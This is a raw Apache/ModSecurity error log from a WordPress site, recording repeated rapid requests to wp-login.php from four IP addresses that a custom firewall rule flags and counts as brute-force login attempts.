[Thu Apr 30 23:23:03.262834 2026] [:error] [pid 5820:tid 5838] [client 65.108.213.107:43930] [client 65.108.213.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.213.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNz1wyrLh3-LgH3Xv9vXwAAABA"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:23:03.264598 2026] [:error] [pid 5820:tid 5828] [client 65.108.213.107:43956] [client 65.108.213.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.213.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNz1wyrLh3-LgH3Xv9vYAAAAAY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:23:03.273608 2026] [:error] [pid 6456:tid 6464] [client 65.108.213.107:43944] [client 65.108.213.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.213.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNz10OBwsDodnkJK5yLQQAAAEY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:23:04.746770 2026] [:error] [pid 5820:tid 5837] [client 65.108.213.107:43956] [client 65.108.213.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.213.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNz2AyrLh3-LgH3Xv9vYQAAAA8"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:23:04.858861 2026] [:error] [pid 5820:tid 5844] [client 65.108.213.107:43930] [client 65.108.213.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.213.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNz2AyrLh3-LgH3Xv9vYgAAABY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:23:05.820510 2026] [:error] [pid 6456:tid 6467] [client 65.108.213.107:43944] [client 65.108.213.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.213.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNz2UOBwsDodnkJK5yLSQAAAEk"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:23:06.065634 2026] [:error] [pid 5820:tid 5833] [client 65.108.213.107:43956] [client 65.108.213.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.213.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNz2gyrLh3-LgH3Xv9vZQAAAAs"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:23:06.191123 2026] [:error] [pid 5820:tid 5836] [client 65.108.213.107:43930] [client 65.108.213.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.213.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNz2gyrLh3-LgH3Xv9vZgAAAA4"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:23:07.157150 2026] [:error] [pid 6456:tid 6473] [client 65.108.213.107:43944] [client 65.108.213.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.213.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNz20OBwsDodnkJK5yLTgAAAE8"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:23:07.516256 2026] [:error] [pid 5820:tid 5839] [client 65.108.213.107:43930] [client 65.108.213.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.213.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNz2wyrLh3-LgH3Xv9vaAAAABE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:25:56.297446 2026] [:error] [pid 5731:tid 5754] [client 159.65.0.135:36660] [client 159.65.0.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.0.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN0hA8tX7TbSfYoUIxSgwAAAJM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:25:56.298523 2026] [:error] [pid 5732:tid 5774] [client 159.65.0.135:36650] [client 159.65.0.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.0.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN0hNuJ3iSd5GdjqlhWKgAAAMs"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:25:56.298535 2026] [:error] [pid 5732:tid 5773] [client 159.65.0.135:36672] [client 159.65.0.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.0.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN0hNuJ3iSd5GdjqlhWKwAAAMo"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:25:57.664381 2026] [:error] [pid 5731:tid 5744] [client 159.65.0.135:36660] [client 159.65.0.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.0.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN0hQ8tX7TbSfYoUIxShQAAAIk"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:25:57.995194 2026] [:error] [pid 5732:tid 5778] [client 159.65.0.135:36650] [client 159.65.0.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.0.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN0hduJ3iSd5GdjqlhWLgAAAM8"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:25:58.697710 2026] [:error] [pid 5732:tid 5771] [client 159.65.0.135:36672] [client 159.65.0.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.0.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN0htuJ3iSd5GdjqlhWLwAAAMg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:25:58.895609 2026] [:error] [pid 5731:tid 5747] [client 159.65.0.135:36660] [client 159.65.0.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.0.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN0hg8tX7TbSfYoUIxShwAAAIw"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:25:59.056378 2026] [:error] [pid 5732:tid 5787] [client 159.65.0.135:36650] [client 159.65.0.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.0.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN0h9uJ3iSd5GdjqlhWMAAAANg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:25:59.850346 2026] [:error] [pid 5732:tid 5763] [client 159.65.0.135:36672] [client 159.65.0.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.0.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN0h9uJ3iSd5GdjqlhWMQAAAMA"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:26:00.043898 2026] [:error] [pid 5731:tid 5735] [client 159.65.0.135:36660] [client 159.65.0.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.0.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN0iA8tX7TbSfYoUIxSiAAAAIA"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:26:00.133917 2026] [:error] [pid 5732:tid 5777] [client 159.65.0.135:36650] [client 159.65.0.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.0.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN0iNuJ3iSd5GdjqlhWMgAAAM4"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:26:01.022630 2026] [:error] [pid 5732:tid 5770] [client 159.65.0.135:36672] [client 159.65.0.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.0.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN0iduJ3iSd5GdjqlhWMwAAAMc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:26:01.257538 2026] [:error] [pid 5732:tid 5781] [client 159.65.0.135:36650] [client 159.65.0.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.0.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN0iduJ3iSd5GdjqlhWNAAAANI"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:26:01.395892 2026] [:error] [pid 5731:tid 5757] [client 159.65.0.135:36660] [client 159.65.0.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.0.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN0iQ8tX7TbSfYoUIxSigAAAJY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:26:02.200777 2026] [:error] [pid 5732:tid 5780] [client 159.65.0.135:36672] [client 159.65.0.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.0.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN0ituJ3iSd5GdjqlhWNgAAANE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:26:02.378726 2026] [:error] [pid 5732:tid 5782] [client 159.65.0.135:36650] [client 159.65.0.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.0.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN0ituJ3iSd5GdjqlhWNwAAANM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:26:02.546347 2026] [:error] [pid 5731:tid 5758] [client 159.65.0.135:36660] [client 159.65.0.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.0.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN0ig8tX7TbSfYoUIxSiwAAAJc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:31:21.156155 2026] [:error] [pid 5733:tid 5804] [client 164.92.193.231:50154] [client 164.92.193.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.193.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN1yfT55_Ioa9J2OpIGvgAAAQ4"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:31:21.156166 2026] [:error] [pid 5820:tid 5842] [client 164.92.193.231:50152] [client 164.92.193.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.193.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN1yQyrLh3-LgH3Xv9w4QAAABQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:31:21.158249 2026] [:error] [pid 5820:tid 5830] [client 164.92.193.231:50140] [client 164.92.193.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.193.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN1yQyrLh3-LgH3Xv9w4gAAAAg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:31:22.672944 2026] [:error] [pid 5820:tid 5829] [client 164.92.193.231:50152] [client 164.92.193.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.193.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN1ygyrLh3-LgH3Xv9w5wAAAAc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:31:22.772952 2026] [:error] [pid 5820:tid 5823] [client 164.92.193.231:50140] [client 164.92.193.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.193.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN1ygyrLh3-LgH3Xv9w6AAAAAE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:31:25.002206 2026] [:error] [pid 5820:tid 5838] [client 164.92.193.231:50140] [client 164.92.193.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.193.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN1zQyrLh3-LgH3Xv9w6QAAABA"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:31:25.003084 2026] [:error] [pid 5820:tid 5837] [client 164.92.193.231:50152] [client 164.92.193.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.193.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN1zQyrLh3-LgH3Xv9w6gAAAA8"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:31:25.005544 2026] [:error] [pid 5733:tid 5793] [client 164.92.193.231:50154] [client 164.92.193.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.193.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN1zfT55_Ioa9J2OpIGvwAAAQM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:31:26.239613 2026] [:error] [pid 5820:tid 5845] [client 164.92.193.231:50140] [client 164.92.193.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.193.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN1zgyrLh3-LgH3Xv9w6wAAABc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:31:26.273284 2026] [:error] [pid 5820:tid 5846] [client 164.92.193.231:50152] [client 164.92.193.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.193.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN1zgyrLh3-LgH3Xv9w7AAAABg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:31:26.317291 2026] [:error] [pid 5733:tid 5803] [client 164.92.193.231:50154] [client 164.92.193.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.193.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN1zvT55_Ioa9J2OpIGwAAAAQ0"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:31:27.466448 2026] [:error] [pid 5820:tid 5840] [client 164.92.193.231:50140] [client 164.92.193.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.193.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN1zwyrLh3-LgH3Xv9w8QAAABI"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:31:27.587215 2026] [:error] [pid 5820:tid 5834] [client 164.92.193.231:50152] [client 164.92.193.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.193.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN1zwyrLh3-LgH3Xv9w8wAAAAw"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:31:27.632202 2026] [:error] [pid 5733:tid 5814] [client 164.92.193.231:50154] [client 164.92.193.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.193.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN1z_T55_Ioa9J2OpIGwQAAARg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:31:28.773329 2026] [:error] [pid 5820:tid 5830] [client 164.92.193.231:50140] [client 164.92.193.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.193.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN10AyrLh3-LgH3Xv9w-wAAAAg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:31:28.924045 2026] [:error] [pid 5820:tid 5828] [client 164.92.193.231:50152] [client 164.92.193.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.193.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN10AyrLh3-LgH3Xv9w_AAAAAY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:31:28.932389 2026] [:error] [pid 5733:tid 5792] [client 164.92.193.231:50154] [client 164.92.193.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.193.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN10PT55_Ioa9J2OpIGwgAAAQI"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:41.905927 2026] [:error] [pid 6456:tid 6465] [client 141.95.85.94:47708] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2GUOBwsDodnkJK5yN6wAAAEc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:41.921538 2026] [:error] [pid 6456:tid 6458] [client 141.95.85.94:47710] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2GUOBwsDodnkJK5yN7AAAAEA"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:41.961069 2026] [:error] [pid 6456:tid 6467] [client 141.95.85.94:47714] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2GUOBwsDodnkJK5yN7QAAAEk"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:43.381637 2026] [:error] [pid 6456:tid 6460] [client 141.95.85.94:47714] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2G0OBwsDodnkJK5yN8QAAAEI"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:43.385513 2026] [:error] [pid 6456:tid 6475] [client 141.95.85.94:47710] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2G0OBwsDodnkJK5yN8gAAAFE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:43.760979 2026] [:error] [pid 6456:tid 6476] [client 141.95.85.94:47708] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2G0OBwsDodnkJK5yN9AAAAFI"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:44.699572 2026] [:error] [pid 6456:tid 6473] [client 141.95.85.94:47714] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2HEOBwsDodnkJK5yN_AAAAE8"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:44.736624 2026] [:error] [pid 6456:tid 6462] [client 141.95.85.94:47710] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2HEOBwsDodnkJK5yN_QAAAEQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:45.002619 2026] [:error] [pid 6456:tid 6469] [client 141.95.85.94:47708] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2HUOBwsDodnkJK5yN_gAAAEs"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:46.006461 2026] [:error] [pid 6456:tid 6464] [client 141.95.85.94:47714] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2HkOBwsDodnkJK5yOAgAAAEY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:46.110145 2026] [:error] [pid 6456:tid 6480] [client 141.95.85.94:47710] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2HkOBwsDodnkJK5yOAwAAAFY"], referer: https://gigfragments.org/wp-login.php
